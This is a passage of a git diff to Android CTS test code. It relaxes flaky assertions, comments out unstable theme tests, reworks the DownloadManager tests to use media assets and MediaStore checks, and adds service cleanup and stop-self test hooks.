+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -131,10 +131,9 @@
 
         assertNotNull(wl);
         assertTrue(wl.getDurationMs() > 0);
-        assertTrue(wl.getCount() == 1);
-        assertTrue(wl.getMaxDurationMs() >= 500);
+        assertTrue(wl.getMaxDurationMs() >= 400);
         assertTrue(wl.getMaxDurationMs() < 700);
-        assertTrue(wl.getTotalDurationMs() >= 500);
+        assertTrue(wl.getTotalDurationMs() >= 400);
         assertTrue(wl.getTotalDurationMs() < 700);
 
         setAodState(aodState); // restores AOD to initial state.
@@ -146,6 +145,12 @@
             return;
         }
         if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
+
+        // getUid() needs shell command via ADB. turnScreenOff() sometimes let system go to suspend.
+        // ADB disconnection causes failure of getUid(). Move up here before turnScreenOff().
+        final int EXPECTED_UID = getUid();
+
+
         turnScreenOn(); // To ensure that the ScreenOff later gets logged.
         // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
         // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
@@ -165,7 +170,6 @@
 
         final String EXPECTED_TAG = "StatsdPartialWakelock";
         final long EXPECTED_TAG_HASH = Long.parseUnsignedLong("15814523794762874414");
-        final int EXPECTED_UID = getUid();
         final int MIN_DURATION = 350;
         final int MAX_DURATION = 700;
 
diff --git a/hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java b/hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java
index a6dab62..7893886 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java
+++ b/hostsidetests/sustainedperf/shadertoy_android/src/GLtestView.java
@@ -110,9 +110,9 @@
     private static class ContextFactory implements GLSurfaceView.EGLContextFactory {

         private static int EGL_CONTEXT_CLIENT_VERSION = 0x3098;

         public EGLContext createContext(EGL10 egl, EGLDisplay display, EGLConfig eglConfig) {

-            Log.w(TAG, "creating OpenGL ES 3.0 context");

+            Log.w(TAG, "creating OpenGL ES 2.0 context");

             checkEglError("Before eglCreateContext", egl);

-            int[] attrib_list = {EGL_CONTEXT_CLIENT_VERSION, 3, EGL10.EGL_NONE };

+            int[] attrib_list = {EGL_CONTEXT_CLIENT_VERSION, 2, EGL10.EGL_NONE };

             EGLContext context = egl.eglCreateContext(display, eglConfig, EGL10.EGL_NO_CONTEXT, attrib_list);

             checkEglError("After eglCreateContext", egl);

             return context;

diff --git a/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java b/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
index d6c9f1c..552b819 100644
--- a/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
+++ b/hostsidetests/theme/app/src/android/theme/app/TestConfiguration.java
@@ -201,17 +201,21 @@
             new LayoutInfo(R.layout.radiobutton, "radiobutton"),
             new LayoutInfo(R.layout.radiogroup_horizontal, "radiogroup_horizontal"),
             new LayoutInfo(R.layout.radiogroup_vertical, "radiogroup_vertical"),
-            new LayoutInfo(R.layout.ratingbar_0, "ratingbar_0"),
-            new LayoutInfo(R.layout.ratingbar_2point5, "ratingbar_2point5"),
-            new LayoutInfo(R.layout.ratingbar_5, "ratingbar_5"),
-            new LayoutInfo(R.layout.ratingbar_0, "ratingbar_0_pressed",
-                    new ViewPressedModifier()),
-            new LayoutInfo(R.layout.ratingbar_2point5, "ratingbar_2point5_pressed",
-                    new ViewPressedModifier()),
-            new LayoutInfo(R.layout.ratingbar_5, "ratingbar_5_pressed",
-                    new ViewPressedModifier()),
-            new LayoutInfo(R.layout.searchview, "searchview_query",
-                    new SearchViewModifier(SearchViewModifier.QUERY)),
+            // Temporarily remove tests for the RatingBar widget. It has indeterminate rendering
+            // behavior on 360dpi devices, but we don't know why yet.
+            //new LayoutInfo(R.layout.ratingbar_0, "ratingbar_0"),
+            //new LayoutInfo(R.layout.ratingbar_2point5, "ratingbar_2point5"),
+            //new LayoutInfo(R.layout.ratingbar_5, "ratingbar_5"),
+            //new LayoutInfo(R.layout.ratingbar_0, "ratingbar_0_pressed",
+            //        new ViewPressedModifier()),
+            //new LayoutInfo(R.layout.ratingbar_2point5, "ratingbar_2point5_pressed",
+            //        new ViewPressedModifier()),
+            //new LayoutInfo(R.layout.ratingbar_5, "ratingbar_5_pressed",
+            //        new ViewPressedModifier()),
+            // Temporarily remove tests for the SearchView widget with no hint. The "X" icon has
+            // indeterminate rendering behavior on 480dpi devices, but we don't know why yet.
+            //new LayoutInfo(R.layout.searchview, "searchview_query",
+            //        new SearchViewModifier(SearchViewModifier.QUERY)),
             new LayoutInfo(R.layout.searchview, "searchview_query_hint",
                     new SearchViewModifier(SearchViewModifier.QUERY_HINT)),
             new LayoutInfo(R.layout.seekbar_0, "seekbar_0"),
diff --git a/hostsidetests/theme/assets/28/360dpi.zip b/hostsidetests/theme/assets/28/360dpi.zip
index 3e1f801..40b434b 100644
--- a/hostsidetests/theme/assets/28/360dpi.zip
+++ b/hostsidetests/theme/assets/28/360dpi.zip
Binary files differ
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
index 5c45080..c809f26 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
@@ -23,6 +23,8 @@
 import android.test.InstrumentationTestCase;
 import android.test.suitebuilder.annotation.MediumTest;
 
+import androidx.test.filters.FlakyTest;
+
 import java.util.concurrent.TimeoutException;
 
 /**
@@ -85,6 +87,7 @@
     }
 
     @MediumTest
+    @FlakyTest
     public void testPerformGlobalActionNotifications() throws Exception {
         // Perform the action under test
         assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
@@ -102,6 +105,7 @@
     }
 
     @MediumTest
+    @FlakyTest
     public void testPerformGlobalActionQuickSettings() throws Exception {
         // Check whether the action succeeded.
         assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
@@ -122,6 +126,7 @@
     }
 
     @MediumTest
+    @FlakyTest
     public void testPerformGlobalActionPowerDialog() throws Exception {
         // Check whether the action succeeded.
         assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
diff --git a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
index bb46489..5d588ff 100644
--- a/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
+++ b/tests/app/DownloadManagerApi28Test/src/android/app/cts/DownloadManagerApi28Test.java
@@ -26,6 +26,7 @@
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Environment;
+import android.os.FileUtils;
 
 import androidx.test.runner.AndroidJUnit4;
 
@@ -34,6 +35,9 @@
 
 import java.io.File;
 import java.io.FileInputStream;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
 
 @RunWith(AndroidJUnit4.class)
 public class DownloadManagerApi28Test extends DownloadManagerTestBase {
@@ -173,8 +177,6 @@
                 receiver.waitForDownloadComplete(SHORT_TIMEOUT, downloadId);
                 assertSuccessfulDownload(downloadId, new File(downloadLocation.getPath()));
                 final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(downloadId);
-                mContext.grantUriPermission("com.android.shell", downloadUri,
-                        Intent.FLAG_GRANT_READ_URI_PERMISSION);
                 final Uri mediaStoreUri = getMediaStoreUri(downloadUri);
                 final ContentResolver contentResolver = mContext.getContentResolver();
                 assertArrayEquals(hash(contentResolver.openInputStream(downloadUri)),
@@ -199,6 +201,7 @@
      */
     @Test
     public void testAddCompletedDownload_mediaStoreEntry() throws Exception {
+        final String assetName = "noiseandchirps.mp3";
         final String[] downloadPath = new String[] {
                 new File(Environment.getExternalStoragePublicDirectory(
                         Environment.DIRECTORY_DOWNLOADS), "file1.mp3").getPath(),
@@ -207,17 +210,17 @@
                 "/sdcard/file3.mp3",
         };
         for (String downloadLocation : downloadPath) {
-            final String fileContents = "Test content:" + downloadLocation + "_" + System.nanoTime();
             final File file = new File(Uri.parse(downloadLocation).getPath());
-            writeToFile(file, fileContents);
+            try (InputStream in = mContext.getAssets().open(assetName);
+                 OutputStream out = new FileOutputStream(file)) {
+                FileUtils.copy(in, out);
+            }
 
             final long downloadId = mDownloadManager.addCompletedDownload(file.getName(),
                     "Test desc", true,
-                    "text/plain", downloadLocation, fileContents.getBytes().length, true);
+                    "audio/mp3", downloadLocation, file.length(), true);
             assertTrue(downloadId >= 0);
             final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(downloadId);
-            mContext.grantUriPermission("com.android.shell", downloadUri,
-                    Intent.FLAG_GRANT_READ_URI_PERMISSION);
             final Uri mediaStoreUri = getMediaStoreUri(downloadUri);
             assertArrayEquals(hash(new FileInputStream(file)),
                     hash(mContext.getContentResolver().openInputStream(mediaStoreUri)));
diff --git a/tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java b/tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java
index 32d6fd9..ebe54b3 100644
--- a/tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java
+++ b/tests/app/DownloadManagerLegacyTest/src/android/app/cts/DownloadManagerLegacyTest.java
@@ -15,6 +15,7 @@
  */
 package android.app.cts;
 
+import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -23,6 +24,8 @@
 import android.database.Cursor;
 import android.net.Uri;
 import android.os.Environment;
+import android.os.FileUtils;
+import android.provider.MediaStore;
 
 import androidx.test.runner.AndroidJUnit4;
 
@@ -30,6 +33,9 @@
 import org.junit.runner.RunWith;
 
 import java.io.File;
+import java.io.FileOutputStream;
+import java.io.InputStream;
+import java.io.OutputStream;
 
 @RunWith(AndroidJUnit4.class)
 public class DownloadManagerLegacyTest extends DownloadManagerTestBase {
@@ -84,27 +90,33 @@
      */
     @Test
     public void testAddCompletedDownload_mediaStoreEntry() throws Exception {
+        final String assetName = "testmp3.mp3";
         final String[] downloadPaths = {
                 new File(Environment.getExternalStoragePublicDirectory(
-                        Environment.DIRECTORY_DOWNLOADS), "file1.txt").getPath(),
-                "/sdcard/Download/file2.txt",
+                        Environment.DIRECTORY_DOWNLOADS), "file1.mp3").getPath(),
+                "/sdcard/Download/file2.mp3",
         };
         for (String downloadLocation : downloadPaths) {
-            final String fileContents =
-                    "Test content:" + downloadLocation + "_" + System.nanoTime();
             final File file = new File(downloadLocation);
-            writeToFile(file, fileContents);
+            try (InputStream in = mContext.getAssets().open(assetName);
+                 OutputStream out = new FileOutputStream(file)) {
+                FileUtils.copy(in, out);
+            }
 
             final long downloadId = mDownloadManager.addCompletedDownload(
                     file.getName(), "Test desc",
-                    true, "text/plain", downloadLocation, fileContents.getBytes().length, true);
+                    true, "audio/mp3", downloadLocation, 0, true);
             assertTrue(downloadId >= 0);
             final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(downloadId);
-            mContext.grantUriPermission("com.android.shell", downloadUri,
-                    Intent.FLAG_GRANT_READ_URI_PERMISSION);
             final Uri mediaStoreUri = getMediaStoreUri(downloadUri);
 
-            assertEquals(fileContents, readContentsFromUri(mediaStoreUri));
+            assertArrayEquals(hash(mContext.getAssets().open(assetName)),
+                    hash(mContext.getContentResolver().openInputStream(mediaStoreUri)));
+
+            assertEquals("1", getMediaStoreColumnValue(mediaStoreUri,
+                    MediaStore.Audio.AudioColumns.IS_MUSIC));
+            assertEquals(new File(downloadLocation).length(), Long.parseLong(
+                    getMediaStoreColumnValue(mediaStoreUri, MediaStore.Audio.AudioColumns.SIZE)));
 
             // Delete entry in DownloadProvider and verify it's deleted from MediaProvider as well.
             assertRemoveDownload(downloadId, 0);
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index a576e62..7d34da0 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -133,6 +133,8 @@
             <meta-data android:name="android.app.stubs.reference" android:resource="@xml/metadata" />
         </service>
 
+        <service android:name="android.app.stubs.LocalStoppedService" />
+
         <service android:name="android.app.stubs.LocalForegroundService">
             <intent-filter>
                 <action android:name="android.app.stubs.FOREGROUND_SERVICE" />
diff --git a/tests/app/app/assets/testmp3.mp3 b/tests/app/app/assets/testmp3.mp3
new file mode 100644
index 0000000..657faf7
--- /dev/null
+++ b/tests/app/app/assets/testmp3.mp3
Binary files differ
diff --git a/tests/app/app/assets/testvideo.3gp b/tests/app/app/assets/testvideo.3gp
new file mode 100644
index 0000000..1503272
--- /dev/null
+++ b/tests/app/app/assets/testvideo.3gp
Binary files differ
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index a7d2c3f..bc2b4d4 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -56,6 +56,8 @@
      */
     @Override
     public void onReceive(Context context, Intent intent) {
+        // Use the application context as the receiver context could be restricted.
+        context = context.getApplicationContext();
         int command = intent.getIntExtra(EXTRA_COMMAND, -1);
         Log.d(TAG + "_" + context.getPackageName(), "Got command " + command + ", intent="
                 + intent);
@@ -86,11 +88,6 @@
     }
 
     private void doBindService(Context context, Intent commandIntent) {
-        context = context.getApplicationContext();
-        if (LocalService.sServiceContext != null) {
-            context = LocalService.sServiceContext;
-        }
-
         String targetPackage = getTargetPackage(commandIntent);
         int flags = getFlags(commandIntent);
 
@@ -98,13 +95,13 @@
         bindIntent.setComponent(new ComponentName(targetPackage, SERVICE_NAME));
 
         ServiceConnection connection = addServiceConnection(targetPackage);
-
         context.bindService(bindIntent, connection, flags | Context.BIND_AUTO_CREATE);
     }
 
     private void doUnbindService(Context context, Intent commandIntent) {
         String targetPackage = getTargetPackage(commandIntent);
-        context.unbindService(sServiceMap.remove(targetPackage));
+        ServiceConnection connection = sServiceMap.remove(targetPackage);
+        context.unbindService(connection);
     }
 
     private void doStartForegroundService(Context context, Class cls) {
diff --git a/tests/app/app/src/android/app/stubs/LocalService.java b/tests/app/app/src/android/app/stubs/LocalService.java
index f914cdf..f270582 100644
--- a/tests/app/app/src/android/app/stubs/LocalService.java
+++ b/tests/app/app/src/android/app/stubs/LocalService.java
@@ -48,12 +48,17 @@
     public static final int GET_UID_CODE = 9;
     public static final int GET_PPID_CODE = 10;
     public static final int GET_ZYGOTE_PRELOAD_CALLED = 11;
+    public static final int STOP_SELF_CODE = 12;
+    public static final int STOP_SELF_RESULT_CODE = 13;
+    public static final int STOP_SELF_SUCCESS_UNBIND_CODE = 14;
 
     public static Context sServiceContext = null;
 
     private IBinder mReportObject;
     private int mStartCount = 1;
     private int mValue = 0;
+    private int mStartId = -1;
+    private boolean mIsStoppedSelfSuccess;
 
     private final IBinder mBinder = new Binder() {
         @Override
@@ -88,6 +93,12 @@
                     data.enforceInterface(SERVICE_LOCAL);
                     reply.writeBoolean(ZygotePreload.preloadCalled());
                     return true;
+                case STOP_SELF_RESULT_CODE:
+                    mIsStoppedSelfSuccess = stopSelfResult(mStartId);
+                    return true;
+                case STOP_SELF_CODE:
+                    stopSelf(mStartId);
+                    return true;
                 default:
                     return super.onTransact(code, data, reply, flags);
             }
@@ -99,6 +110,7 @@
 
     @Override
     public void onStart(Intent intent, int startId) {
+        mStartId = startId;
         if (intent.getExtras() != null) {
             IBinderParcelable parcelable
                     = (IBinderParcelable) intent.getExtras().getParcelable(REPORT_OBJ_NAME);
@@ -130,7 +142,11 @@
     @Override
     public boolean onUnbind(Intent intent) {
         if (mReportObject != null) {
-            bindAction(UNBIND_CODE);
+            if (mIsStoppedSelfSuccess) {
+                bindAction(STOP_SELF_SUCCESS_UNBIND_CODE);
+            } else {
+                bindAction(UNBIND_CODE);
+            }
         }
         return true;
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java b/tests/app/app/src/android/app/stubs/LocalStoppedService.java
similarity index 71%
copy from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
copy to tests/app/app/src/android/app/stubs/LocalStoppedService.java
index 4cf6efa..b569f95 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
+++ b/tests/app/app/src/android/app/stubs/LocalStoppedService.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -11,10 +11,12 @@
  * distributed under the License is distributed on an "AS IS" BASIS,
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
- * limitations under the License.
+ * limitations under the License
  */
 
-package com.android.cts.deviceowner;
+package android.app.stubs;
 
-public class LockTaskUtilityActivityIfWhitelisted extends LockTaskUtilityActivity {
+public class LocalStoppedService extends LocalService
+{
 }
+
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index d5cb466..2a0e096 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -61,6 +61,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.CommonTestUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
 public class ActivityManagerProcessStateTest extends InstrumentationTestCase {
@@ -158,6 +159,18 @@
     private void turnScreenOn() throws Exception {
         executeShellCmd("input keyevent KEYCODE_WAKEUP");
         executeShellCmd("wm dismiss-keyguard");
+        /*
+        Wait until the screen becomes interactive to start the test cases.
+        Otherwise the procstat may start in TOP_SLEEPING state, and this
+        causes test case testBackgroundCheckActivityService to fail.
+        Note: There could still a small chance the procstat is TOP_SLEEPING
+        when the predicate returns true. 
+        */
+        CommonTestUtils.waitUntil("Device does not wake up after 5 seconds",
+            5,
+            () ->  {
+                return isScreenInteractive() && !isKeyguardLocked();
+            });
     }
 
     private void removeTestAppFromWhitelists() throws Exception {
@@ -1461,6 +1474,12 @@
             // Check that the app's proc state has fallen
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
             uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+
+            // Clean up: unbind services to avoid from interferences with other tests
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
         } finally {
             uid1Watcher.finish();
             uid3Watcher.finish();
@@ -1536,6 +1555,15 @@
 
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
             uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+
+            // Clean up: unbind services to avoid from interferences with other tests
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
+            // Stop the foreground service
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
+                PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
         } finally {
             uid1Watcher.finish();
             uid2Watcher.finish();
@@ -1603,6 +1631,18 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
             uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
+
+            // Clean up: unbind services to avoid from interferences with other tests
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP1, PACKAGE_NAME_APP3, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP3, PACKAGE_NAME_APP2, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
         } finally {
             uid1Watcher.finish();
             uid2Watcher.finish();
@@ -1715,6 +1755,11 @@
                     mAppInfo[0].packageName, mAppInfo[0].packageName, 0, null);
             mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
 
+            // Clean up: unbind services to avoid from interferences with other tests
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                mAppInfo[0].packageName, mAppInfo[1].packageName, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                mAppInfo[0].packageName, mAppInfo[2].packageName, 0, bundle);
         } finally {
             shutdownWatchers();
         }
@@ -1746,6 +1791,12 @@
                     STUB_PACKAGE_NAME, mAppInfo[1].packageName, 0, bundle);
             mWatchers[1].waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_TOP);
+
+            // Clean up: unbind services to avoid from interferences with other tests
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                STUB_PACKAGE_NAME, mAppInfo[0].packageName, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                STUB_PACKAGE_NAME, mAppInfo[1].packageName, 0, bundle);
         } finally {
             shutdownWatchers();
             if (activity != null) {
@@ -1867,6 +1918,14 @@
             uid3Listener.waitForValue(
                     IMPORTANCE_CACHED,
                     IMPORTANCE_CACHED);
+
+            // Clean up: unbind services to avoid from interferences with other tests
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
+            CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
+                PACKAGE_NAME_APP3, PACKAGE_NAME_APP1, 0, null);
         } finally {
             uid1Listener.unregister();
             uid1ServiceListener.unregister();
diff --git a/tests/app/src/android/app/cts/ApplicationTest.java b/tests/app/src/android/app/cts/ApplicationTest.java
index ee1758d..4b0fc78 100644
--- a/tests/app/src/android/app/cts/ApplicationTest.java
+++ b/tests/app/src/android/app/cts/ApplicationTest.java
@@ -16,11 +16,16 @@
 
 package android.app.cts;
 
+import static org.mockito.Mockito.CALLS_REAL_METHODS;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
+
 import android.app.Activity;
 import android.app.Application;
 import android.app.Instrumentation;
 import android.app.stubs.MockApplication;
 import android.app.stubs.MockApplicationActivity;
+import android.content.ComponentCallbacks2;
 import android.content.Context;
 import android.content.Intent;
 import android.test.InstrumentationTestCase;
@@ -56,6 +61,17 @@
         assertTrue(waitForOnConfigurationChange(mockApp));
     }
 
+    public void testOnTrimMemory() {
+        final int level = 2;
+        Application app = new Application();
+        ComponentCallbacks2 mockCallBack2 = mock(ComponentCallbacks2.class, CALLS_REAL_METHODS);
+        app.registerComponentCallbacks(mockCallBack2);
+
+        app.onTrimMemory(level);
+
+        verify(mockCallBack2).onTrimMemory(level);
+    }
+
     // Font scale is a global configuration.
     // This function will delete any previous font scale changes, apply one, and remove it.
     private void toggleFontScale() throws Throwable {
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index e1a4591..4d1ecfa 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -36,7 +36,9 @@
 import android.net.Uri;
 import android.os.Environment;
 import android.os.ParcelFileDescriptor;
+import android.provider.MediaStore;
 import android.util.Log;
+import android.util.Pair;
 
 import androidx.test.filters.FlakyTest;
 import androidx.test.InstrumentationRegistry;
@@ -49,6 +51,7 @@
 
 import java.io.File;
 import java.io.FileInputStream;
+import java.io.InputStream;
 
 @RunWith(AndroidJUnit4.class)
 public class DownloadManagerTest extends DownloadManagerTestBase {
@@ -585,4 +588,59 @@
             // expected
         }
     }
+
+    @Test
+    public void testDownload_mediaScanned() throws Exception {
+        final String[] destinations = {
+                Environment.DIRECTORY_MUSIC,
+                Environment.DIRECTORY_DOWNLOADS,
+        };
+        final String[] subPaths = {
+                "testmp3.mp3",
+                "testvideo.3gp",
+        };
+        final Pair<String, String>[] expectedMediaAttributes = new Pair[] {
+                Pair.create(MediaStore.Audio.AudioColumns.IS_MUSIC, "1"),
+                Pair.create(MediaStore.Video.VideoColumns.DURATION, "11047"),
+        };
+
+        for (int i = 0; i < destinations.length; ++i) {
+            final String destination = destinations[i];
+            final String subPath = subPaths[i];
+
+            final DownloadCompleteReceiver receiver = new DownloadCompleteReceiver();
+            try {
+                IntentFilter intentFilter = new IntentFilter(
+                        DownloadManager.ACTION_DOWNLOAD_COMPLETE);
+                mContext.registerReceiver(receiver, intentFilter);
+
+                DownloadManager.Request requestPublic = new DownloadManager.Request(
+                        getAssetUrl(subPath));
+                requestPublic.setDestinationInExternalPublicDir(destination, subPath);
+                long id = mDownloadManager.enqueue(requestPublic);
+
+                int allDownloads = getTotalNumberDownloads();
+                assertEquals(1, allDownloads);
+
+                receiver.waitForDownloadComplete(SHORT_TIMEOUT, id);
+                assertSuccessfulDownload(id, new File(
+                        Environment.getExternalStoragePublicDirectory(destination), subPath));
+
+                final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(id);
+                mContext.grantUriPermission("com.android.shell", downloadUri,
+                        Intent.FLAG_GRANT_READ_URI_PERMISSION);
+                final Uri mediaStoreUri = getMediaStoreUri(downloadUri);
+                assertEquals(expectedMediaAttributes[i].second,
+                        getMediaStoreColumnValue(mediaStoreUri, expectedMediaAttributes[i].first));
+                final int expectedSize = getTotalBytes(
+                        mContext.getContentResolver().openInputStream(downloadUri));
+                assertEquals(expectedSize, Integer.parseInt(getMediaStoreColumnValue(
+                        mediaStoreUri, MediaStore.MediaColumns.SIZE)));
+
+                assertRemoveDownload(id, 0);
+            } finally {
+                mContext.unregisterReceiver(receiver);
+            }
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index 3a81e61..eaab0e3 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -22,6 +22,7 @@
 
 import android.app.DownloadManager;
 import android.content.BroadcastReceiver;
+import android.content.ContentUris;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
@@ -31,6 +32,7 @@
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
 import android.os.SystemClock;
+import android.provider.MediaStore;
 import android.text.TextUtils;
 import android.text.format.DateUtils;
 import android.util.Log;
@@ -107,20 +109,76 @@
         }
     }
 
-    protected Uri getMediaStoreUri(Uri downloadUri) throws Exception {
+    protected static Uri getMediaStoreUri(Uri downloadUri) throws Exception {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        Cursor cursor = context.getContentResolver().query(downloadUri, null, null, null);
+        if (cursor != null && cursor.moveToFirst()) {
+            // DownloadManager.COLUMN_MEDIASTORE_URI is not a column in the query result.
+            // COLUMN_MEDIAPROVIDER_URI value maybe the same as COLUMN_MEDIASTORE_URI but NOT
+            // guaranteed.
+            int index = cursor.getColumnIndexOrThrow(DownloadManager.COLUMN_MEDIAPROVIDER_URI);
+            return Uri.parse(cursor.getString(index));
+        } else {
+            throw new FileNotFoundException("Failed to find entry for " + downloadUri);
+        }
+    }
+
+    protected String getMediaStoreColumnValue(Uri mediaStoreUri, String columnName)
+            throws Exception {
+        if (!MediaStore.Files.FileColumns.MEDIA_TYPE.equals(columnName)) {
+            final int mediaType = getMediaType(mediaStoreUri);
+            final String volumeName = MediaStore.getVolumeName(mediaStoreUri);
+            final long id = ContentUris.parseId(mediaStoreUri);
+            switch (mediaType) {
+                case MediaStore.Files.FileColumns.MEDIA_TYPE_AUDIO:
+                    mediaStoreUri = ContentUris.withAppendedId(
+                            MediaStore.Audio.Media.getContentUri(volumeName), id);
+                    break;
